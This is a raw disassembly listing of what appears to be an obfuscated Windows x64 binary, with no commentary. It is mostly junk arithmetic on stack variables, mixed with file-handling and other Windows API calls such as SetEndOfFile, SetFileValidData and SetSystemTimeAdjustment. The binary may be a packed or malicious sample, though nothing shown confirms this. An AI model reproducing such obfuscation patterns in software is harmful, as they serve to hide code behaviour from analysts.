movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x785], al
mov eax, dword [rsp + 0xcd4c]
mov ecx, dword [rsp + 0xcce4]
add ecx, eax
mov eax, ecx
mov ecx, dword [0x1402ad630]
mov edx, dword [rsp + 0xcd10]
or edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14001cb30
mov r8d, dword [rsp + 0xcd3c]
movzx edx, byte [rsp + 0x783]
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rax]
call fcn.14028d4b0
jmp 0x14001cc0f
movzx eax, byte [rsp + 0x666]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
cdq
idiv ecx
movzx ecx, byte [0x1402acb3b]
mov dword [rsp + 0xcd7c], ecx
movzx edx, byte [rsp + 0x783]
movzx ecx, dl
mov edx, dword [rsp + 0xcd7c]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14001cc0f
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x196b8]
mov qword [rsp + 0x19790], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19790]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x19740]
mov rdx, qword [rsp + 0x19750]
mov edx, dword [rdx]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jge 0x14001cc0f
lea rdx, [rsp + 0x1a18]
lea rcx, [rsp + 0xcd10]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x19798], rax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35ac]
and eax, ecx
mov rcx, qword [rsp + 0x19768]
mov word [rcx], ax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcce4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd4c], eax
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x19780]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc224], eax
mov eax, dword [rsp + 0xcd58]
mov dword [rsp + 0xcd80], eax
cmp dword [rsp + 0xcd80], 0
je 0x14001cc60
cmp dword [rsp + 0xcd80], 0x2452
je 0x14001cc56
jmp 0x14028cd21
call fcn.14028d790
jmp 0x14028cd21
lea rcx, [rsp + 0x197a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x35a8]
mov qword [rsp + 0x197a8], rax
cmp dword [rsp + 0xcd14], 0xefa5
je 0x14001cfb8
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x784]
sub eax, ecx
mov byte [rsp + 0x666], al
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0xcd3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd70], eax
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0x8754]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd3c], eax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35b4]
sub eax, ecx
mov word [rsp + 0x35a4], ax
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [rsp + 0x55e]
add eax, ecx
mov byte [rsp + 0x786], al
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x666]
sar eax, cl
mov byte [rsp + 0x783], al
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcd28], eax
movzx eax, word [rsp + 0x35c0]
movzx ecx, word [rsp + 0x35c4]
xor eax, ecx
mov word [rsp + 0x2964], ax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402ad630], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x196e0]
mov qword [rsp + 0x197b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x197b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcd4c], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbc10]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19780]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd70], eax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [0x1402ad634]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8754], eax
movzx eax, word [rsp + 0x35a8]
movzx ecx, word [rsp + 0x18d8]
add eax, ecx
mov word [rsp + 0x1a18], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcce0], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x666]
sub eax, ecx
mov byte [rsp + 0x783], al
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd10], eax
mov eax, dword [rsp + 0x8754]
mov ecx, dword [rsp + 0xcd58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35bc]
shl eax, cl
mov word [rsp + 0x1a18], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movzx eax, byte [rsp + 0x784]
movzx ecx, byte [rsp + 0x783]
xor eax, ecx
mov byte [rsp + 0x785], al
mov eax, dword [rsp + 0xcd14]
add eax, 0xa2
mov dword [rsp + 0xcd14], eax
lea rcx, [rsp + 0x2af28]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, word [rsp + 0x35ac]
movsx ecx, word [rsp + 0x35a4]
or eax, ecx
mov rcx, qword [rsp + 0x19768]
mov word [rcx], ax
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [0x1402acb46]
sar eax, cl
mov byte [rsp + 0x55e], al
mov eax, dword [rsp + 0xcd10]
mov ecx, dword [rsp + 0xcce4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd4c], eax
mov rax, qword [rsp + 0x19750]
mov ecx, dword [rsp + 0xbc10]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18d8]
add eax, ecx
mov word [rsp + 0x35bc], ax
jmp 0x14001cc7e
mov edx, 0x77bfe2
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xcd84], eax
mov dword [rsp + 0xcd88], 0x9707
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2964]
add eax, ecx
movzx ecx, word [rsp + 0x35c0]
movzx edx, word [rsp + 0x35a8]
sub ecx, edx
cmp eax, ecx
je 0x14001d0d7
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x785]
sub eax, ecx
mov byte [rsp + 0x783], al
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [0x1402ad634]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf788], eax
mov eax, dword [rsp + 0xcce4]
mov ecx, dword [rsp + 0xcd4c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
mov eax, dword [0x1402bf788]
mov rcx, qword [rsp + 0x19750]
mov qword [rsp + 0x197b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x197b8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcd3c], eax
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xbc10], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x784]
or eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
lea rcx, [rsp + 0x2d390]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0xcd8c], eax
jmp 0x14001d11a
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18d8]
add eax, ecx
movzx ecx, word [rsp + 0x35a8]
movzx edx, word [rsp + 0x35bc]
sub ecx, edx
cmp eax, ecx
jne 0x14001d11a
movzx edx, byte [rsp + 0x55e]
mov rax, qword [rsp + 0x197a8]
movzx ecx, word [rax]
call fcn.14028d660
mov eax, dword [rsp + 0xcd4c]
mov dword [rsp + 0xcd90], eax
cmp dword [rsp + 0xcd90], 0
je 0x14001d148
cmp dword [rsp + 0xcd90], 0x2316
je 0x14001d2b6
jmp 0x14001d342
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35c0]
shl eax, cl
mov word [rsp + 0x18d8], ax
mov eax, dword [rsp + 0xcce4]
mov ecx, dword [rsp + 0xcd4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
movzx eax, word [rsp + 0x35a8]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x18d8]
movzx edx, word [rsp + 0x1a18]
and ecx, edx
cmp eax, ecx
jl 0x14001d26d
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcce4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19728]
mov edx, dword [rsp + 0xcd10]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
ja 0x14001d225
mov eax, dword [rsp + 0x91e8]
mov dword [rsp + 0xcd94], eax
mov eax, dword [rsp + 0xcd58]
mov ecx, dword [rsp + 0xccc0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19750]
mov dword [rcx], eax
movzx eax, word [rsp + 0x35ac]
mov word [0x1402bf784], ax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov dword [rsp + 0xcd98], eax
jmp 0x14001d26b
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd70]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19750]
mov rdx, qword [rsp + 0x19780]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jge 0x14001d26b
mov eax, dword [rsp + 0xcd1c]
mov ecx, dword [rsp + 0xcd3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc224], eax
jmp 0x14001d2b1
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x785]
add eax, ecx
movzx ecx, byte [rsp + 0x784]
movzx edx, byte [rsp + 0x666]
sub ecx, edx
cmp eax, ecx
jne 0x14001d2b1
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [rsp + 0x786]
xor eax, ecx
mov byte [rsp + 0x55e], al
jmp 0x14001d342
movsx eax, word [rsp + 0x35a4]
movsx ecx, word [rsp + 0x35ac]
shl eax, cl
mov word [rsp + 0x35b4], ax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35bc]
or eax, ecx
mov word [rsp + 0x18d8], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
sar eax, cl
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
lea rcx, [rsp + 0x2d310]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0xcd8c], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcce4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd4c], eax
call fcn.14028d790
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd4c], eax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad638], eax
movzx eax, word [rsp + 0x18d8]
movzx ecx, word [rsp + 0x35bc]
and eax, ecx
mov word [rsp + 0x35a8], ax
movzx eax, byte [rsp + 0x666]
mov byte [rsp + 0x787], al
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc224]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd58], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb404], eax
cmp dword [rsp + 0xcce8], 0xc52b
ja 0x14001d659
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc224], eax
mov eax, dword [rsp + 0xcd3c]
mov ecx, dword [rsp + 0xccc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd58], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35c4]
sub eax, ecx
mov word [rsp + 0x1a18], ax
movzx eax, byte [0x1402acb3a]
movzx ecx, byte [rsp + 0x666]
xor eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19728]
mov qword [rsp + 0x197c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x197c0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad638], eax
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19740]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcd58], eax
movsx eax, byte [rsp + 0x55e]
movsx ecx, byte [rsp + 0x786]
sar eax, cl
mov byte [rsp + 0x782], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35b4]
and eax, ecx
mov word [rsp + 0x35a4], ax
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x1a18]
add eax, ecx
mov word [rsp + 0x35c4], ax
movzx eax, byte [rsp + 0x785]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x666], al
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcd4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb404], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd70], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x1402bf788]
mov ecx, dword [rsp + 0xcd98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc10], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcce4]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad638], eax
mov rax, qword [rsp + 0x19780]
mov rcx, qword [rsp + 0x19740]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2964]
sub eax, ecx
mov word [rsp + 0x18d8], ax
movzx eax, byte [rsp + 0x784]
movzx ecx, byte [rsp + 0x666]
sub eax, ecx
mov byte [rsp + 0x785], al
mov eax, dword [rsp + 0xcce8]
add eax, 2
mov dword [rsp + 0xcce8], eax
mov rax, qword [rsp + 0x19750]
mov ecx, dword [0x1402ad634]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb404]
shl eax, cl
mov dword [rsp + 0xcd10], eax
lea rdx, [rsp + 0x19738]
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcd50], eax
mov eax, dword [rsp + 0xbc10]
mov ecx, dword [rsp + 0xccc0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd70], eax
jmp 0x14001d3dd
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19740]
mov qword [rsp + 0x197c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x197c8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcd3c], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x787]
and eax, ecx
mov byte [rsp + 0x666], al
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19728]
mov rdx, qword [rsp + 0x196e0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x14001d763
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35c4]
sub eax, ecx
mov word [rsp + 0x18d8], ax
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [rsp + 0x786]
add eax, ecx
mov byte [rsp + 0x55e], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35a4]
add eax, ecx
mov word [rsp + 0x35b4], ax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb404], eax
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x19780]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov word [rsp + 0x35cc], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x787]
add eax, ecx
mov byte [rsp + 0x784], al
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xb404]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcce4], eax
lea rdx, [rsp + 0xccdc]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xcd9c], eax
mov eax, dword [rsp + 0xcd88]
add eax, 0xe9
mov dword [rsp + 0xcd88], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x196b8]
mov qword [rsp + 0x197d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x197d0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad634], eax
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0xc224]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb404]
shr eax, cl
mov dword [rsp + 0xcd10], eax
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x18d8]
xor eax, ecx
mov word [rsp + 0x35c4], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x787]
and eax, ecx
mov byte [rsp + 0x784], al
mov eax, dword [rsp + 0xccc0]
mov ecx, dword [rsp + 0xc224]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd70], eax
mov rax, qword [rsp + 0x19780]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd98], eax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcce4], eax
mov eax, dword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x91e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc224], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcce0], eax
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0xcd58]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad634], eax
movsx eax, byte [rsp + 0x786]
movsx ecx, byte [rsp + 0x55e]
add eax, ecx
mov byte [rsp + 0x782], al
movsx eax, word [rsp + 0x35ac]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x35b4], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x785]
sub eax, ecx
mov byte [rsp + 0x784], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35c4]
shl eax, cl
mov word [rsp + 0x35bc], ax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19728]
mov qword [rsp + 0x197d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x197d8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xcce4], eax
cmp dword [rsp + 0xcd88], 0xc3a0
jbe 0x14001d776
mov rax, qword [rsp + 0x19750]
mov ecx, dword [rsp + 0x8754]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcd94], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x784]
xor eax, ecx
mov byte [rsp + 0x787], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xcd9c], eax
movzx eax, word [rsp + 0x1a18]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2964], ax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd4c]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad638], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd70], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [0x1402bf788]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd1c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x197e0], rax
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd10], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movzx eax, byte [rsp + 0x787]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x783], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35c0]
sub eax, ecx
mov word [rsp + 0x18d8], ax
mov eax, dword [rsp + 0xcd3c]
mov ecx, dword [0x1402bf788]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd94], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd58]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd3c], eax
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [rsp + 0x55e]
and eax, ecx
mov byte [rsp + 0x786], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35a4]
sar eax, cl
mov rcx, qword [rsp + 0x19768]
mov word [rcx], ax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35bc]
or eax, ecx
mov word [rsp + 0x18d8], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x784]
xor eax, ecx
mov byte [rsp + 0x787], al
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19710]
mov qword [rsp + 0x197e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x197e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb404], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19750]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcd04]
add eax, 0x28
mov dword [rsp + 0xcd04], eax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [rsp + 0xcd70]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd98], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd94]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19740]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x787]
sub eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
cmp dword [rsp + 0xcd04], 0x43f8
jne 0x14001d9ba
movzx ecx, word [rsp + 0x35c8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35d0], ax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35a8]
sub eax, ecx
mov word [rsp + 0x1a18], ax
movzx eax, byte [rsp + 0x55e]
mov byte [rsp + 0xcda0], al
cmp byte [rsp + 0xcda0], 0x80
je 0x14001ddce
cmp byte [rsp + 0xcda0], 0x65
je 0x14001dcc1
jmp 0x14001de7d
mov eax, dword [rsp + 0xcd4c]
mov ecx, dword [rsp + 0xb404]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
lea rdx, [rsp + 0x19740]
lea rcx, [rsp + 0x19798]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x197f0], rax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xccc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd70], eax
mov eax, dword [rsp + 0xcd3c]
mov ecx, dword [rsp + 0xcd94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8754], eax
mov eax, dword [rsp + 0xcd4c]
mov ecx, dword [rsp + 0xcd10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb404], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35cc]
add eax, ecx
mov word [rsp + 0x35c4], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x787]
shl eax, cl
mov byte [rsp + 0x784], al
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x787]
xor eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
lea r9, [rsp + 0x786]
mov r8d, 0x5e
mov edx, 0x5d
mov rcx, qword [rsp + 0x197f8]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x197f8], rax
jmp 0x14001de7d
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov dword [rsp + 0xcda4], eax
cmp dword [rsp + 0xcda4], 0
je 0x14001ddeb
jmp 0x14001de63
lea rax, [rsp + 0x35b4]
mov qword [rsp + 0x19800], rax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov dword [rsp + 0xcda8], eax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1402ad2f8], ax
mov eax, dword [rsp + 0x8754]
movzx ecx, al
mov eax, dword [rsp + 0xcd70]
sar eax, cl
mov dword [rsp + 0xccc0], eax
movzx eax, byte [rsp + 0x784]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x17a], al
jmp 0x14001de7d
movzx eax, word [rsp + 0x35a8]
movzx ecx, word [rsp + 0x35c0]
sub eax, ecx
mov word [rsp + 0x18d8], ax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8754], eax
mov dword [rsp + 0xcdac], 0x17a3
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
